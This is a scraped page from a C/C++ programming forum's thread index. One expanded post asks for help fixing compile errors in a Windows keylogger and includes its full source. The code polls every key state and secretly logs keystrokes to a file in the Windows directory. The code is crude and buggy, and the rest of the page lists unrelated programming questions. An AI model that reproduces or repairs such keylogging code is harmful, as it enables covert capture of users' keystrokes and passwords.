Click here to Skip to main content
15,899,754 members
Home / Discussions / C / C++ / MFC
   

C / C++ / MFC

 
AnswerRe: Efficiency Pin
supercat93-Mar-10 9:19
supercat93-Mar-10 9:19 
AnswerRe: Efficiency [modified] Pin
Covean3-Mar-10 20:42
Covean3-Mar-10 20:42 
Questionbind(...) in tcp is failed when connected twice C++ Pin
janaswamy uday3-Mar-10 2:14
janaswamy uday3-Mar-10 2:14 
AnswerRe: bind(...) in tcp is failed when connected twice C++ Pin
Eugen Podsypalnikov3-Mar-10 3:03
Eugen Podsypalnikov3-Mar-10 3:03 
GeneralRe: bind(...) in tcp is failed when connected twice C++ Pin
janaswamy uday3-Mar-10 3:34
janaswamy uday3-Mar-10 3:34 
GeneralRe: bind(...) in tcp is failed when connected twice C++ Pin
Eugen Podsypalnikov3-Mar-10 3:44
Eugen Podsypalnikov3-Mar-10 3:44 
GeneralRe: bind(...) in tcp is failed when connected twice C++ Pin
janaswamy uday3-Mar-10 3:48
janaswamy uday3-Mar-10 3:48 
QuestionError while trying to implement KeyLogger Pin
avika3-Mar-10 1:30
avika3-Mar-10 1:30 
I am trying to implement KeyLogger in our application. It give me following errors -

'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found.

I have already included the header files which are needed for these functions.

Can anyone tell what I am doing wrong.

I am using using following code -

#include "Windows.h"
#include "WinUser.h"
#include "stdafx.h"
#include <iostream>;
#include <fstream>;
#include <stdio.h>;


void keys(int key,char *file)
{
FILE *key_file;

key_file = fopen(file,"a+");

if (key==8)
fprintf(key_file,"%s","[del]");

if (key==13)
fprintf(key_file,"%s","\n");

if (key==32)
fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)
fprintf(key_file,"%s","[END]");

if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");

if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");

if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)
fprintf(key_file,"%s",".");

if (key >=96 && key <= 105)
{
key = key - 48;
fprintf(key_file,"%s",&key);
}

if (key >=48 && key <= 59)
fprintf(key_file,"%s",&key);

if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(key_file,"%s",&key);
else
{
key = key +32;
fprintf(key_file,"%s",&key);
}
}
}

fclose(key_file);
}

int _tmain(int argc, _TCHAR* argv[])
{
char i;
char test[1000];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");
while(1)
{
for(i=8;i<=190;i++)
{
if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
}
}
}

return 0;
}
AnswerMessage Removed Pin
3-Mar-10 2:15
Hristo-Bojilov3-Mar-10 2:15 
GeneralRe: Error while trying to implement KeyLogger Pin
CPallini3-Mar-10 2:21
mveCPallini3-Mar-10 2:21 
AnswerRe: Error while trying to implement KeyLogger Pin
KingsGambit3-Mar-10 7:31
KingsGambit3-Mar-10 7:31 
QuestionError in calling EXE in custom action (Setup & deployment project) Pin
am 20093-Mar-10 1:17
am 20093-Mar-10 1:17 
AnswerRe: Error in calling EXE in custom action (Setup & deployment project) Pin
KarstenK3-Mar-10 1:33
mveKarstenK3-Mar-10 1:33 
AnswerRe: Error in calling EXE in custom action (Setup & deployment project) Pin
KingsGambit3-Mar-10 7:34
KingsGambit3-Mar-10 7:34 
QuestionProblem Converting CString to WCHAR Pin
TheFox3-Mar-10 0:16
TheFox3-Mar-10 0:16 
AnswerRe: Problem Converting CString to WCHAR Pin
Rajesh R Subramanian3-Mar-10 0:28
professionalRajesh R Subramanian3-Mar-10 0:28 
AnswerRe: Problem Converting CString to WCHAR Pin
CPallini3-Mar-10 0:31
mveCPallini3-Mar-10 0:31 
GeneralRe: Problem Converting CString to WCHAR Pin
TheFox3-Mar-10 2:32
TheFox3-Mar-10 2:32 
GeneralRe: Problem Converting CString to WCHAR Pin
CPallini3-Mar-10 3:27
mveCPallini3-Mar-10 3:27 
AnswerRe: Problem Converting CString to WCHAR Pin
KarstenK3-Mar-10 1:26
mveKarstenK3-Mar-10 1:26 
GeneralRe: Problem Converting CString to WCHAR Pin
TheFox3-Mar-10 1:37
TheFox3-Mar-10 1:37 
GeneralRe: Problem Converting CString to WCHAR Pin
KarstenK3-Mar-10 1:46
mveKarstenK3-Mar-10 1:46 
GeneralRe: Problem Converting CString to WCHAR Pin
KingsGambit3-Mar-10 7:16
KingsGambit3-Mar-10 7:16 
GeneralRe: Problem Converting CString to WCHAR Pin
CPallini3-Mar-10 1:38
mveCPallini3-Mar-10 1:38 
GeneralRe: Problem Converting CString to WCHAR Pin
KarstenK3-Mar-10 2:04
mveKarstenK3-Mar-10 2:04 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.